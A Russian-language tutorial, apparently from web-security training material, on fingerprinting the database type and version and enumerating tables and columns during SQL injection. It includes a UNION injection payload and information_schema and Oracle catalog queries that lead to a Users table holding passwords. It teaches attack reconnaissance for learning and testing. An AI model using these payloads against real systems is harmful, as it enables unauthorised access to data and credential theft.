Перейти к содержанию

Проверка базы данных на уязвимость использования SQL-инъекций

Чтобы использовать уязвимости SQL-инъекций, часто необходимо найти информацию о базе данных. Это включает в себя:

  • Тип и версия программного обеспечения базы данных.
  • Таблицы и столбцы, содержащиеся в базе данных.

Как узнать тип и версию базы данных

Потенциально вы можете определить как тип, так и версию базы данных, введя запросы, относящиеся к конкретному поставщику, чтобы проверить, работает ли один из них

Ниже приведены некоторые запросы для определения версии базы данных для некоторых популярных типов баз данных:

Тип БД, запрос

  • Microsoft, MySQL SELECT @@version
  • Oracle SELECT * FROM v$version
  • PostgreSQL SELECT version()

Например, вы могли бы использовать атаку UNION со следующими входными данными:

' UNION SELECT @@version--

Это может привести к следующему результату. В этом случае вы можете подтвердить, что база данных является Microsoft SQL Server, и посмотреть используемую версию:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

Содержимое базы данных

Большинство типов баз данных (за исключением Oracle) имеют набор представлений, называемых информационной схемой. Это предоставляет информацию о базе данных.

Например, вы можете запросить information_schema.tables, чтобы получить список таблиц в базе данных:

SELECT * FROM information_schema.tables

Это возвращает выходные данные, подобные следующему:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  TABLE_TYPE
=====================================================
MyDatabase     dbo           Products    BASE TABLE
MyDatabase     dbo           Users       BASE TABLE
MyDatabase     dbo           Feedback    BASE TABLE

Этот вывод указывает на наличие трех таблиц, называемых Products, Users и Feedback.

Затем вы можете запросить information_schema.columns, чтобы получить список столбцов в отдельных таблицах:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Это возвращает выходные данные, подобные следующему:

TABLE_CATALOG  TABLE_SCHEMA  TABLE_NAME  COLUMN_NAME  DATA_TYPE
=================================================================
MyDatabase     dbo           Users       UserId       int
MyDatabase     dbo           Users       Username     varchar
MyDatabase     dbo           Users       Password     varchar

Этот вывод показывает столбцы в указанной таблице и тип данных каждого столбца.

Содержимое базы данных Oracle

В Oracle вы можете найти ту же информацию, что и ниже:

Вы можете перечислить таблицы, запросив all_tables:

SELECT * FROM all_tables

Вы можете перечислить столбцы, запросив all_tab_columns:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'